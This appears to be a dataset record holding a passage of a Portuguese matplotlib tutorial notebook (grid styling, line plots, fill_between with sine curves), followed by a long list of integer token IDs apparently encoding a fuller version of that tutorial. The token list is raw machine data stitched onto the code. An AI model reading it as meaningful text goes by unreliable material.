ax.grid(which='major', axis='x', linewidth=0.75, linestyle='-', color='r')
ax.grid(which='minor', axis='x', linewidth=0.5, linestyle=':', color='b')
ax.grid(which='major', axis='y', linewidth=0.75, linestyle='-', color='r')
ax.grid(which='minor', axis='y', linewidth=0.5, linestyle=':', color='g')
# para remover as ticks, adicione comentários
#ax.set_xticklabels([])
#ax.set_yticklabels([]);
plt.plot(x,x,'k')
plt.plot(x,-x+4,'k')
## Plots com preenchimento
Podemos usar `fill_between` para criar preenchimentos de área em gráficos.
x = np.linspace(-np.pi, np.pi, 60)
y = np.sin(2*x)*np.cos(x/2)
plt.fill_between(x,y,alpha=0.5);
x = np.linspace(-np.pi, np.pi, 60)
f1 = np.sin(2*x)
f2 = 0.5*np.sin(2*x)
plt.plot(x,f1,c='r');
plt.plot(x,f2,c='k');
plt.fill_between(x,f1,f2,color='g',alpha=0.2); | [
2,
28114,
363,
368,
275,
40138,
3970,
401,
4808,
6759,
29487,
8019,
62,
198,
198,
2235,
15612,
23638,
16175,
28749,
390,
9955,
418,
220,
198,
198,
32,
5874,
23638,
16175,
28749,
390,
9955,
418,
38251,
23781,
1413,
78,
466,
369,
258,
66,
3681,
78,
19918,
12427,
1885,
14031,
8358,
11511,
72,
1291,
89,
17305,
28141,
749,
430,
285,
5013,
78,
2274,
972,
68,
401,
257,
20628,
28749,
466,
366,
12804,
6060,
1911,
1001,
84,
10033,
26181,
316,
23593,
38251,
2380,
283,
9955,
418,
304,
4175,
64,
16175,
127,
113,
274,
7933,
69,
291,
3263,
68,
16964,
502,
952,
390,
5002,
418,
1490,
6413,
271,
401,
78,
7400,
417,
292,
11,
1036,
6557,
69,
291,
418,
11,
3975,
292,
304,
1167,
519,
81,
6557,
69,
291,
418,
13,
360,
1191,
292,
11354,
15141,
292,
1556,
28749,
4596,
261,
8836,
303,
271,
31215,
12445,
283,
257,
6179,
64,
16175,
28749,
390,
9955,
418,
285,
15152,
537,
3301,
11,
552,
5681,
8836,
626,
304,
257,
919,
8836,
626,
13,
220,
198,
198,
2949,
4732,
78,
12379,
281,
6557,
75,
786,
390,
9955,
418,
11,
257,
5874,
23638,
16175,
28749,
390,
9955,
418,
38251,
23781,
7515,
68,
7531,
31215,
257,
269,
7496,
16175,
28749,
390,
48993,
10205,
380,
418,
390,
2469,
10205,
979,
418,
11,
2356,
2634,
271,
390,
8875,
418,
44104,
42460,
12821,
62,
8,
304,
1036,
6557,
69,
291,
418,
1963,
312,
320,
3004,
15152,
8358,
264,
28749,
257,
489,
291,
6557,
303,
271,
28141,
82,
285,
15152,
15070,
292,
8311,
24252,
11,
256,
15152,
401,
78,
6683,
544,
11,
37685,
25792,
10782,
544,
2165,
8836,
83,
3970,
304,
11,
10033,
434,
68,
11,
284,
4598,
267,
299,
21356,
2375,
78,
390,
269,
72,
25792,
77,
979,
292,
409,
265,
292,
357,
19044,
368,
6557,
83,
3970,
11,
10062,
265,
8836,
301,
3970,
304,
22476,
64,
16175,
28749,
737,
220,
198,
198,
10161,
384,
84,
17717,
305,
4808,
464,
15612,
16531,
286,
16972,
12464,
6188,
62,
11,
16410,
43982,
309,
3046,
660,
11907,
7,
5450,
1378,
2503,
13,
276,
904,
83,
3046,
660,
13,
785,
14,
83,
3046,
660,
14,
828,
369,
258,
66,
17305,
401,
78,
267,
35730,
466,
4808,
26124,
62,
257,
489,
291,
4533,
28141,
5874,
23638,
16175,
28749,
390,
9955,
418,
11,
6580,
2533,
64,
8358,
11,
257,
269,
4763,
281,
78,
11,
267,
27943,
78,
990,
89,
435,
2188,
920,
260,
15897,
47027,
71,
127,
113,
274,
304,
362,
491,
346,
71,
127,
113,
274,
390,
3590,
641,
14947,
292,
390,
1036,
6557,
69,
291,
418,
13,
15987,
2244,
22260,
8358,
267,
4808,
26124,
62,
390,
23781,
1036,
6557,
69,
3713,
1556,
265,
8836,
301,
3713,
11,
16964,
21433,
78,
11,
38251,
334,
2611,
2603,
2634,
7496,
10112,
2092,
28141,
6550,
368,
6557,
83,
3970,
304,
299,
28749,
1556,
6557,
379,
2411,
4533,
257,
1097,
7321,
8836,
11268,
292,
6184,
118,
6988,
292,
390,
334,
2611,
20280,
363,
368,
1948,
13,
4347,
14723,
11,
2471,
13287,
5874,
23638,
16175,
28749,
390,
9955,
418,
31215,
401,
46903,
283,
9955,
418,
401,
304,
69,
44070,
25792,
10782,
544,
38251,
256,
28749,
1593,
68,
5554,
78,
2471,
13287,
257,
406,
8836,
782,
6413,
12775,
947,
64,
31215,
3671,
260,
332,
7758,
17899,
13,
220,
198,
198,
53,
420,
25792,
279,
1098,
3326,
334,
2611,
1351,
64,
424,
3495,
12151,
390,
275,
684,
4130,
947,
304,
17717,
4951,
523,
4679,
5874,
23638,
16175,
28749,
390,
9955,
418,
25221,
279,
6557,
1655,
292,
390,
2471,
10920,
528,
363,
368,
466,
3788,
8655,
559,
16410,
51,
9608,
559,
3629,
18463,
11907,
7,
5450,
1378,
2503,
13,
11487,
559,
13,
785,
14,
35720,
14,
26845,
14,
13466,
12,
7890,
12,
41464,
1634,
12,
49096,
828,
16410,
51,
9608,
559,
30650,
11907,
7,
5450,
1378,
2503,
13,
11487,
559,
13,
785,
14,
35720,
14,
26845,
14,
12106,
12,
10755,
12,
7890,
12,
41464,
1634,
737,
198,
198,
2235,
4808,
6601,
23689,
62,
220,
198,
198,
62,
6601,
8362,
18072,
62,
38251,
267,
1429,
78,
390,
366,
3642,
283,
1554,
10205,
380,
292,
379,
4108,
20954,
23430,
9955,
418,
1911,
16410,
46509,
6102,
1878,
677,
11907,
7,
4023,
1378,
2503,
13,
13571,
18072,
4480,
7890,
13,
785,
828,
334,
2611,
1786,
268,
258,
8704,
390,
9955,
418,
466,
3012,
11,
257,
78,
36974,
527,
401,
78,
257,
5554,
312,
671,
390,
4175,
64,
16175,
28749,
990,
89,
3755,
645,
27943,
78,
28141,
82,
1569,
12271,
38251,
285,
5013,
78,
6428,
300,
3755,
304,
401,
46903,
4763,
11,
3671,
36955,
84,
466,
271,
1635,
13466,
12,
7255,
364,
9,
523,
4679,
43577,
2169,
64,
257,
277,
320,
390,
257,
10456,
283,
279,
408,
78,
292,
257,
401,
46903,
533,
76,
7758,
17899,
384,
385,
9955,
418,
304,
40426,
315,
418,
5554,
270,
265,
452,
418,
13,
2574,
64,
4578,
64,
795,
384,
84,
17717,
305,
1635,
11605,
18072,
351,
6060,
25,
317,
6060,
15612,
1634,
10005,
329,
7320,
43793,
874,
9,
20789,
11605,
18072,
401,
17415,
418,
25,
23781,
1962,
544,
36884,
260,
15612,
23638,
16175,
28749,
390,
17415,
418,
2547,
64,
4415,
1480,
15152,
390,
13496,
10205,
979,
418,
25666,
12385,
1646,
28749,
795,
2493,
45284,
25792,
82,
8,
8358,
299,
28749,
3870,
418,
287,
9100,
972,
68,
275,
684,
31215,
366,
3642,
283,
334,
2611,
1554,
10205,
7496,
1,
379,
4108,
20954,
23430,
9955,
418,
13,
11768,
749,
430,
401,
279,
280,
34004,
7649,
16175,
127,
113,
274,
267,
8358,
390,
303,
16785,
2471,
13287,
31215,
379,
278,
343,
334,
2611,
401,
403,
3970,
16175,
28749,
304,
69,
11373,
68,
16964,
502,
952,
12379,
5874,
23638,
16175,
28749,
390,
9955,
418,
13,
198,
198,
2235,
28114,
363,
368,
2603,
368,
6557,
83,
3970,
198,
198,
62,
43328,
363,
368,
62,
38251,
267,
3381,
78,
401,
1713,
68,
795,
79,
2301,
4533,
31215,
267,
1658,
2127,
16175,
78,
390,
1036,
6557,
69,
291,
418,
390,
1257,
16175,
127,
113,
274,
2603,
368,
6557,
13370,
292,
2884,
2653,
7079,
13,
28114,
283,
1036,
6557,
69,
291,
418,
38251,
334,
2611,
288,
292,
256,
533,
69,
292,
8358,
12776,
25792,
285,
15152,
1103,
528,
283,
6557,
401,
78,
13294,
1434,
7,
64,
8,
269,
1153,
12523,
267,
84,
2037,
12523,
390,
9955,
418,
13,
399,
18059,
257,
4712,
11,
299,
10205,
82,
3120,
89,
557,
16785,
12776,
25792,
257,
78,
555,
1428,
568,
12379,
7110,
363,
368,
390,
1036,
6557,
69,
291,
418,
795,
7043,
292,
5391,
641,
127,
113,
274,
304,
3140,
22050,
401,
78,
12776,
25792,
279,
1098,
5874,
528,
283,
9955,
418,
1777,
346,
434,
68,
401,
257,
275,
29142,
313,
31047,
1635,
6759,
29487,
8019,
24620,
45981,
16785,
334,
2611,
1490,
28749,
308,
1691,
10033,
434,
68,
523,
4679,
257,
7110,
363,
368,
390,
1257,
16175,
127,
113,
274,
2603,
368,
6557,
13370,
292,
7736,
528,
25440,
1635,
3258,
592,
9,
304,
664,
1834,
418,
390,
2653,
64,
16175,
28749,
1569,
13165,
528,
4763,
401,
1635,
77,
32152,
9,
474,
6557,
2471,
10920,
312,
418,
13,
27378,
890,
78,
466,
1090,
568,
11,
12776,
25792,
2471,
13287,
6557,
257,
277,
19178,
7110,
363,
641,
285,
15152,
493,
68,
601,
39781,
390,
269,
403,
8873,
1556,
265,
8836,
301,
3713,
13,
198,
198,
2235,
317,
275,
29142,
313,
31047,
1635,
6759,
29487,
8019,
9,
198,
198,
9,
19044,
29487,
8019,
9,
38251,
257,
275,
29142,
313,
31047,
11361,
285,
15152,
369,
258,
66,
3755,
31215,
7110,
363,
368,
362,
35,
357,
14065,
16198,
8,
390,
1635,
3258,
592,
24620,
1778,
64,
1226,
418,
1659,
544,
38251,
985,
2374,
25,
269,
380,
283,
7110,
363,
641,
985,
2374,
401,
2471,
268,
292,
435,
44265,
401,
392,
418,
11,
267,
84,
2471,
268,
292,
23781,
13,
1757,
9055,
16410,
18122,
11907,
7,
5450,
1378,
6759,
29487,
8019,
13,
2398,
14,
18417,
14,
23569,
13,
6494,
828,
24215,
721,
17305,
795,
2321,
11,
11511,
72,
267,
1960,
273,
2244,
64,
275,
29142,
313,
31047,
13,
2295,
3648,
11,
9766,
3671,
36955,
84,
8358,
11,
34593,
14723,
1323,
66,
4170,
334,
2611,
1540,
84,
16175,
28749,
795,
11361,
31215,
7110,
363,
368,
362,
35,
11,
9766,
308,
455,
10312,
390,
1059,
11,
920,
260,
503,
8847,
763,
271,
292,
25,
198,
198,
12,
1036,
6557,
69,
291,
418,
5351,
270,
418,
401,
778,
756,
64,
4140,
312,
671,
31215,
1171,
64,
16175,
28749,
26,
198,
12,
18457,
312,
671,
390,
8552,
64,
16175,
28749,
795,
20314,
1036,
6557,
69,
44645,
31215,
748,
268,
10396,
85,
3681,
78,
390,
257,
489,
3970,
16175,
127,
113,
274,
26,
198,
12,
23781,
269,
10205,
12894,
78,
277,
6557,
2856,
390,
920,
2194,
304,
390,
582,
1904,
283,
13,
198,
198,
46,
1635,
6759,
29487,
8019,
9,
38251,
23781,
269,
10205,
12894,
78,
13576,
17305,
795,
491,
25792,
82,
636,
274,
25,
220,
198,
198,
16,
13,
317,
7071,
1635,
79,
2645,
397,
47026,
23781,
11644,
403,
1462,
390,
1257,
16175,
127,
113,
274,
2747,
891,
259,
24496,
645,
850,
76,
10205,
67,
43348,
4600,
6759,
29487,
8019,
13,
9078,
29487,
44646,
198,
17,
13,
440,
1635,
8534,
437,
47026,
23781,
11644,
403,
1462,
390,
6097,
2424,
6557,
303,
271,
279,
10304,
269,
7496,
16175,
28749,
390,
2336,
17786,
11,
2420,
418,
11,
9493,
10134,
11,
1036,
6557,
69,
291,
418,
3503,
13,
1400,
1635,
8534,
437,
25666,
284,
37427,
28686,
5002,
418,
1036,
6557,
69,
291,
418,
264,
28749,
26181,
316,
418,
257,
22261,
450,
2536,
35492,
13,
198,
18,
13,
440,
1635,
1891,
437,
47026,
23781,
11644,
403,
1462,
390,
8543,
528,
324,
2850,
2424,
6557,
303,
271,
16964,
38394,
28686,
1036,
6557,
69,
291,
418,
31215,
12483,
270,
452,
418,
319,
2934,
304,
829,
24573,
368,
1055,
11,
390,
3735,
78,
11,
5874,
528,
22484,
13,
317,
16410,
13287,
23638,
16175,
28749,
11907,
7,
5450,
1378,
457,
13,
31266,
13,
2398,
14,
15466,
14,
45819,
23638,
16175,
28749,
8,
38251,
267,
40426,
9390,
2457,
466,
1429,
3263,
78,
4875,
13,
20139,
21433,
78,
11,
267,
1635,
1891,
437,
9,
6599,
38251,
2424,
6557,
626,
279,
10304,
8543,
23638,
16175,
28749,
390,
16410,
6307,
7391,
11907,
7,
5450,
1378,
2503,
13,
36752,
13,
785,
14,
1671,
14,
29498,
14,
7353,
12048,
13,
6494,
737,
449,
6557,
267,
1635,
1891,
437,
9,
45809,
1500,
305,
72,
1036,
6557,
69,
291,
418,
20202,
7661,
271,
12221,
6557,
303,
271,
29565,
58,
3351,
282,
540,
20650,
19840,
11907,
7,
5450,
1378,
2503,
13,
86,
18,
13,
2398,
14,
18172,
14,
50,
43490,
14,
737,
198,
198,
26979,
6592,
267,
8571,
10094,
390,
16410,
6090,
11017,
11907,
7,
5450,
1378,
268,
13,
31266,
13,
2398,
14,
15466,
14,
6090,
11017,
41052,
40156,
29720,
628,
198,
21017,
311,
408,
127,
113,
274,
987,
265,
38630,
466,
1635,
6759,
29487,
8019,
9,
198,
198,
50,
408,
127,
113,
274,
987,
265,
38630,
466,
1635,
6759,
29487,
8019,
9,
264,
28749,
387,
65,
6392,
38768,
379,
4108,
20954,
390,
23781,
16410,
785,
25440,
285,
6557,
70,
3713,
11907,
7,
5450,
1378,
541,
7535,
13,
961,
83,
704,
420,
82,
13,
952,
14,
268,
14,
31284,
14,
3849,
5275,
14,
19726,
873,
13,
6494,
2599,
198,
198,
12,
2295,
22629,
11,
779,
4600,
4,
6759,
29487,
8019,
63,
26,
198,
12,
1400,
449,
929,
88,
353,
20922,
11,
779,
4600,
4,
6759,
29487,
8019,
26098,
44646,
198,
198,
43,
368,
4679,
8358,
12385,
257,
4712,
32700,
514,
321,
418,
267,
401,
25440,
285,
6557,
70,
3713,
4600,
4,
2435,
270,
63,
31215,
10042,
528,
283,
27296,
16175,
127,
113,
274,
13,
198,
198,
47,
3301,
514,
283,
458,
268,
3263,
68,
267,
2603,
29487,
8019,
16343,
64,
257,
4712,
11,
410,
321,
418,
514,
283,
25,
198,
198,
15506,
63,
29412,
198,
4,
6759,
29487,
8019,
26098,
198,
6738,
2603,
29487,
8019,
1330,
12972,
29487,
355,
458,
83,
198,
15506,
63,
198,
198,
32,
384,
70,
46535,
916,
622,
16175,
28749,
256,
4131,
2634,
76,
279,
1098,
1055,
730,
5350,
401,
78,
220,
198,
198,
15506,
63,
29412,
198,
11748,
2603,
29487,
8019,
13,
9078,
29487,
355,
458,
83,
198,
15506,
63,
198,
198,
368,
8358,
4600,
489,
83,
63,
38251,
23781,
1635,
26011,
9,
474,
6557,
14841,
1313,
528,
4533,
13,
198,
198,
2,
442,
321,
4763,
14841,
81,
28749,
198,
4,
6759,
29487,
8019,
26098,
198,
11748,
2603,
29487,
8019,
13,
9078,
29487,
355,
458,
83,
198,
198,
2235,
327,
7496,
16175,
28749,
390,
21528,
985,
2374,
198,
198,
53,
321,
418,
1330,
283,
267,
1635,
77,
32152,
9,
31215,
514,
1670,
418,
28686,
2204,
8836,
979,
418,
12379,
2653,
64,
16175,
28749,
1569,
13165,
528,
4763,
304,
7110,
283,
299,
793,
418,
6994,
72,
4951,
21433,
418,
13,
198,
198,
11748,
299,
32152,
355,
45941,
198,
198,
87,
796,
45941,
13,
21602,
10223,
32590,
940,
11,
940,
11,
1120,
8,
198,
88,
796,
2124,
198,
489,
83,
13,
29487,
7,
87,
11,
88,
1776,
1303,
1005,
64,
331,
796,
2124,
220,
198,
198,
1174,
3109,
18856,
78,
25,
1174,
458,
1258,
267,
1036,
6557,
69,
3713,
12379,
1582,
6557,
65,
5708,
720,
69,
7,
87,
8,
796,
7877,
61,
17,
1343,
275,
87,
1343,
269,
3,
31215,
1188,
2850,
627,
15152,
10819,
390,
720,
64,
11,
65,
11,
66,
3,
645,
16654,
78,
720,
12,
1238,
3467,
293,
80,
2124,
3467,
293,
80,
1160,
35307,
198,
198,
87,
796,
45941,
13,
21602,
10223,
32590,
1238,
11,
1238,
11,
1120,
8,
198,
198,
64,
11,
65,
11,
66,
796,
362,
11,
18,
11,
19,
198,
88,
796,
257,
9,
87,
1174,
17,
1343,
275,
9,
87,
1343,
269,
1303,
277,
7,
87,
8,
198,
489,
83,
13,
29487,
7,
87,
11,
88,
1776,
198,
198,
41565,
368,
418,
2730,
343,
334,
2611,
1257,
16175,
28749,
31215,
7110,
283,
257,
1582,
6557,
65,
5708,
25,
198,
198,
4299,
458,
4265,
62,
1845,
397,
5708,
7,
64,
11,
65,
11,
66,
2599,
198,
220,
220,
220,
2124,
796,
45941,
13,
21602,
10223,
32590,
1238,
11,
2481,
11,
1120,
8,
198,
220,
220,
220,
331,
796,
257,
9,
87,
1174,
17,
1343,
275,
9,
87,
1343,
269,
198,
220,
220,
220,
458,
83,
13,
29487,
7,
87,
11,
88,
8,
198,
198,
10262,
5799,
24573,
368,
418,
1556,
463,
283,
267,
8358,
269,
4763,
763,
891,
11373,
68,
277,
1031,
25,
198,
198,
2,
285,
2507,
267,
1188,
273,
390,
257,
304,
762,
485,
260,
275,
796,
362,
11,
269,
796,
352,
198,
198,
1640,
257,
287,
45941,
13,
21602,
10223,
32590,
17,
11,
18,
11,
940,
2599,
198,
220,
220,
220,
458,
4265,
62,
1845,
397,
5708,
7,
64,
11,
17,
11,
16,
8,
198,
198,
2,
285,
2507,
267,
1188,
273,
390,
275,
304,
762,
485,
260,
257,
796,
362,
11,
269,
796,
352,
198,
198,
1640,
275,
287,
45941,
13,
21602,
10223,
32590,
17,
11,
18,
11,
1238,
2599,
198,
220,
220,
220,
458,
4265,
62,
1845,
397,
5708,
7,
17,
11,
65,
11,
16,
8,
198,
198,
2,
285,
2507,
267,
1188,
273,
390,
269,
304,
762,
485,
260,
257,
796,
362,
11,
275,
796,
352,
198,
198,
1640,
269,
287,
45941,
13,
21602,
10223,
32590,
17,
11,
18,
11,
940,
2599,
198,
220,
220,
220,
458,
4265,
62,
1845,
397,
5708,
7,
17,
11,
16,
11,
66,
8,
1303,
16964,
8358,
12776,
25792,
299,
28749,
410,
25792,
285,
5013,
292,
17492,
272,
16175,
292,
30,
198,
198,
2,
285,
2507,
267,
1188,
273,
390,
257,
11,
275,
304,
269,
220,
198,
198,
2100,
2850,
796,
45941,
13,
21602,
10223,
32590,
17,
11,
18,
11,
20,
8,
198,
1640,
257,
287,
1188,
2850,
25,
198,
220,
220,
220,
329,
275,
287,
1188,
2850,
25,
198,
220,
220,
220,
220,
220,
220,
220,
329,
269,
287,
1188,
2850,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
458,
4265,
62,
1845,
397,
5708,
7,
64,
11,
65,
11,
66,
8,
198,
198,
1174,
3109,
18856,
78,
25,
1174,
458,
1258,
267,
1036,
6557,
69,
3713,
12379,
1257,
16175,
28749,
720,
70,
7,
83,
8,
796,
257,
59,
6966,
7,
18347,
1343,
3467,
14415,
8,
3,
31215,
1188,
2850,
627,
15152,
10819,
390,
720,
64,
3,
304,
720,
65,
3,
645,
16654,
78,
720,
15,
3467,
293,
80,
256,
3467,
293,
80,
362,
59,
14415,
35307,
198,
198,
83,
796,
45941,
13,
21602,
10223,
7,
15,
11,
17,
9,
37659,
13,
14415,
11,
1120,
11,
437,
4122,
28,
17821,
8,
1303,
256,
25,
6184,
95,
782,
43348,
198,
198,
64,
11,
275,
796,
352,
11,
352,
198,
489,
83,
13,
29487,
7,
83,
11,
64,
9,
37659,
13,
6966,
7,
65,
9,
83,
1343,
45941,
13,
14415,
18125,
198,
198,
65,
796,
362,
198,
489,
83,
13,
29487,
7,
83,
11,
64,
9,
37659,
13,
6966,
7,
65,
9,
83,
1343,
45941,
13,
14415,
18125,
198,
198,
65,
796,
513,
198,
489,
83,
13,
29487,
7,
83,
11,
64,
9,
37659,
13,
6966,
7,
65,
9,
83,
1343,
45941,
13,
14415,
18125,
198,
198,
1722,
21758,
304,
1667,
6888,
16175,
127,
113,
274,
645,
1036,
6557,
69,
3713,
264,
28749,
284,
67,
292,
14841,
1313,
528,
38768,
13,
8016,
39159,
418,
401,
78,
8343,
283,
256,
12003,
318,
1462,
13,
198,
198,
2235,
32770,
64,
16175,
28749,
390,
2632,
2228,
2367,
304,
1556,
346,
418,
390,
9493,
10134,
198,
198,
29161,
567,
25,
220,
198,
198,
12,
21758,
401,
4600,
8043,
63,
267,
84,
4600,
66,
47671,
220,
198,
12,
15024,
408,
5330,
390,
9493,
3099,
401,
4600,
2815,
413,
5649,
63,
267,
84,
4600,
75,
86,
63,
198,
12,
1556,
18526,
390,
9493,
3099,
401,
4600,
2815,
10992,
63,
267,
84,
4600,
7278,
63,
198,
12,
8171,
78,
390,
264,
8836,
2022,
14057,
1667,
66,
7079,
401,
4600,
4102,
263,
63,
198,
12,
2552,
5330,
390,
275,
585,
64,
466,
264,
8836,
2022,
14057,
1667,
9517,
273,
401,
4600,
3876,
28970,
39909,
5649,
63,
267,
84,
4600,
76,
413,
63,
198,
12,
1162,
390,
275,
585,
64,
466,
264,
8836,
2022,
14057,
1667,
9517,
273,
401,
4600,
3876,
28970,
469,
8043,
63,
267,
84,
4600,
76,
721,
63,
198,
12,
1162,
390,
1986,
466,
264,
8836,
2022,
14057,
1667,
9517,
273,
401,
4600,
4102,
263,
2550,
8043,
63,
267,
84,
4600,
76,
16072,
63,
198,
12,
1007,
1845,
25792,
10782,
544,
401,
4600,
26591,
63,
645,
16654,
78,
685,
15,
11,
16,
60,
198,
198,
70,
796,
37456,
257,
11,
65,
25,
257,
9,
37659,
13,
6966,
7,
65,
9,
83,
1343,
45941,
13,
14415,
8,
1303,
7048,
256,
32700,
198,
198,
2,
1556,
2507,
269,
4763,
21433,
78,
198,
2,
257,
2760,
368,
466,
513,
78,
13,
4578,
78,
795,
2566,
12427,
279,
1098,
17492,
283,
198,
489,
83,
13,
29487,
7,
83,
11,
70,
7,
16,
11,
16,
828,
8043,
11639,
66,
3256,
2815,
413,
5649,
28,
20,
11,
2815,
10992,
11639,
12,
2637,
11,
26591,
28,
13,
18,
8,
198,
489,
83,
13,
29487,
7,
83,
11,
70,
7,
16,
11,
17,
828,
66,
11639,
70,
3256,
7278,
11639,
12,
3256,
75,
86,
28,
4458,
22,
3256,
4102,
263,
11639,
82,
3256,
76,
16072,
11639,
88,
3256,
907,
28,
23,
8,
198,
489,
83,
13,
29487,
7,
83,
11,
70,
7,
16,
11,
18,
828,
66,
11639,
2,
68,
2075,
67,
20,
64,
3256,
7278,
28,
10354,
3256,
18364,
11639,
67,
3256,
76,
721,
11639,
74,
3256,
76,
413,
28,
17,
13,
15,
1776,
198,
198,
34,
2850,
304,
1556,
18526,
390,
9493,
3099,
24573,
368,
1055,
1658,
431,
7790,
22484,
390,
953,
78,
2027,
89,
17305,
304,
795,
2760,
641,
1233,
600,
292,
514,
25440,
23781,
1658,
431,
7790,
7079,
390,
1296,
5549,
13,
198,
198,
489,
83,
13,
29487,
7,
83,
11,
70,
7,
16,
11,
16,
828,
6,
88,
85,
11537,
1303,
716,
533,
5439,
26,
1333,
22940,
782,
43348,
31215,
26605,
844,
78,
26,
198,
489,
83,
13,
29487,
7,
83,
11,
70,
7,
16,
11,
17,
828,
10354,
66,
10,
11537,
1303,
45443,
346,
71,
4533,
26,
269,
10115,
26,
4630,
89,
26,
198,
489,
83,
13,
29487,
7,
83,
12095,
70,
7,
17,
11,
17,
828,
44167,
34507,
81,
24036,
1303,
1333,
648,
43348,
19958,
5350,
26,
1291,
16175,
78,
12,
79,
5957,
26,
3326,
17694,
8873,
26,
198,
198,
21017,
28114,
363,
368,
285,
21356,
2528,
24705,
64,
198,
198,
46,
21433,
78,
936,
8083,
24573,
5142,
1055,
730,
10094,
401,
78,
7110,
363,
368,
285,
21356,
2528,
24705,
64,
795,
513,
24003,
418,
466,
8171,
78,
357,
63,
87,
11,
88,
4032,
69,
16762,
11537,
47671,
319,
2934,
4600,
87,
63,
304,
4600,
88,
63,
264,
28749,
355,
4175,
64,
16175,
127,
113,
274,
23430,
304,
844,
418,
6349,
268,
22484,
304,
4600,
69,
16762,
63,
38251,
334,
2611,
4731,
390,
1296,
1045,
16175,
28749,
13,
198,
198,
489,
83,
13,
29487,
7,
83,
11,
70,
7,
16,
11,
16,
828,
6,
88,
85,
3256,
256,
11,
70,
7,
16,
11,
17,
828,
10354,
66,
10,
3256,
256,
12095,
70,
7,
17,
11,
17,
828,
44167,
34507,
81,
24036,
1303,
513,
24003,
418,
4726,
268,
979,
22484,
198,
198,
47,
3301,
3326,
811,
283,
284,
67,
292,
355,
1034,
16175,
127,
113,
274,
390,
2632,
2228,
2367,
304,
1556,
346,
418,
390,
9493,
10134,
11,
1569,
6592,
4600,
489,
83,
13,
29487,
30,
44646,
198,
198,
21017,
412,
11423,
64,
16175,
28749,
390,
2336,
17786,
198,
198,
11041,
4600,
489,
83,
13,
26875,
63,
31215,
269,
380,
283,
23781,
25237,
68,
390,
2336,
5330,
304,
5988,
567,
25,
198,
198,
12,
257,
2552,
5330,
304,
5988,
5330,
357,
368,
745,
1455,
38768,
8,
401,
4600,
5647,
7857,
796,
357,
15521,
5330,
11,
2501,
5330,
8,
44646,
440,
14841,
81,
28749,
38251,
357,
21,
13,
19,
11,
19,
13,
23,
737,
198,
12,
257,
581,
349,
84,
16175,
28749,
357,
368,
45443,
418,
16964,
745,
1455,
38768,
8,
401,
4600,
67,
14415,
44646,
440,
14841,
81,
28749,
38251,
1802,
13,
198,
12,
257,
1162,
390,
1814,
78,
20789,
25249,
28104,
401,
4600,
2550,
8043,
44646,
440,
14841,
81,
28749,
38251,
4600,
86,
63,
357,
1671,
47699,
737,
198,
198,
1174,
3109,
18856,
78,
25,
1174,
1345,
1258,
28686,
1036,
6557,
69,
291,
418,
390,
720,
71,
62,
16,
7,
87,
8,
796,
257,
59,
31166,
17034,
90,
87,
92,
3,
304,
720,
71,
62,
17,
7,
87,
8,
796,
307,
61,
31478,
31944,
90,
87,
18477,
66,
11709,
3,
31215,
1188,
2850,
390,
257,
11,
65,
11,
66,
304,
2632,
2228,
2367,
936,
8083,
17717,
411,
13,
198,
198,
87,
796,
45941,
13,
21602,
10223,
7,
15,
11,
940,
11,
1120,
11,
437,
4122,
28,
17821,
8,
198,
198,
71,
16,
11,
289,
17,
796,
37456,
257,
25,
257,
9,
37659,
13,
31166,
17034,
7,
87,
828,
37456,
275,
11,
66,
25,
275,
9,
37659,
13,
11201,
7,
87,
14,
66,
8,
220,
198,
198,
489,
83,
13,
26875,
7,
5647,
7857,
16193,
23,
11,
21,
828,
288,
14415,
28,
2167,
11,
1986,
8043,
11639,
2,
68,
15,
41591,
11537,
198,
489,
83,
13,
29487,
7,
87,
11,
71,
16,
7,
13,
24,
828,
87,
11,
71,
17,
7,
16,
11,
24,
18125,
198,
198,
21017,
32770,
25440,
1761,
2737,
304,
1667,
6888,
16175,
127,
113,
274,
390,
304,
844,
418,
198,
198,
29161,
567,
25,
220,
198,
198,
12,
267,
16654,
78,
466,
304,
844,
78,
4600,
87,
63,
401,
4600,
87,
2475,
63,
220,
198,
12,
267,
16654,
78,
466,
304,
844,
78,
4600,
88,
63,
401,
4600,
88,
2475,
63,
198,
12,
355,
1667,
6888,
16175,
127,
113,
274,
466,
304,
844,
78,
4600,
87,
63,
401,
4600,
742,
3378,
63,
220,
198,
12,
355,
1667,
6888,
16175,
127,
113,
274,
466,
304,
844,
78,
4600,
88,
63,
401,
4600,
20760,
3378,
63,
198,
198,
489,
83,
13,
29487,
7,
87,
11,
71,
16,
7,
13,
24,
828,
87,
11,
71,
17,
7,
16,
11,
24,
18125,
458,
83,
13,
87,
2475,
7,
16,
13,
21,
11,
24,
13,
17,
1776,
458,
83,
13,
88,
2475,
7,
16,
13,
15,
11,
17,
13,
23,
1776,
198,
198,
489,
83,
13,
26875,
7,
5647,
7857,
16193,
940,
11,
23,
4008,
198,
198,
489,
83,
13,
29487,
7,
83,
11,
70,
7,
16,
11,
18,
828,
66,
41888,
15,
13,
16,
11,
15,
13,
19,
11,
15,
13,
20,
4357,
4102,
263,
11639,
82,
3256,
76,
16072,
11639,
86,
3256,
76,
413,
28,
17,
13,
15,
1776,
198,
489,
83,
13,
29487,
7,
83,
11,
70,
7,
16,
13,
17,
11,
17,
828,
66,
41888,
16,
13,
15,
11,
15,
13,
20,
11,
15,
13,
15,
4357,
7278,
11639,
438,
3256,
4102,
263,
11639,
29,
3256,
76,
16072,
11639,
66,
3256,
76,
413,
28,
16,
13,
15,
11,
907,
28,
940,
1776,
198,
198,
489,
83,
13,
742,
3378,
26933,
15,
11,
45941,
13,
14415,
14,
17,
11,
37659,
13,
14415,
11,
18,
9,
37659,
13,
14415,
14,
17,
11,
17,
9,
37659,
13,
14415,
36563,
1303,
1351,
64,
390,
285,
21356,
2528,
24705,
418,
390,
31028,
198,
489,
83,
13,
20760,
3378,
26933,
12,
16,
11,
657,
11,
352,
36563,
1303,
513,
1188,
2850,
795,
331,
198,
198,
21017,
412,
11423,
25440,
2420,
78,
390,
1667,
6888,
16175,
127,
113,
274,
795,
304,
844,
418,
198,
198,
41565,
368,
418,
8343,
283,
355,
1667,
6888,
16175,
127,
113,
274,
288,
292,
4600,
83,
3378,
63,
1208,
25440,
23781,
2420,
78,
2699,
265,
23593,
13,
1400,
6124,
78,
32700,
11,
1055,
544,
7758,
17899,
435,
2188,
401,
78,
25,
198,
198,
489,
83,
13,
26875,
7,
5647,
7857,
16193,
940,
11,
23,
4008,
198,
198,
489,
83,
13,
29487,
7,
83,
11,
70,
7,
16,
11,
18,
828,
66,
41888,
15,
13,
16,
11,
15,
13,
19,
11,
15,
13,
20,
4357,
4102,
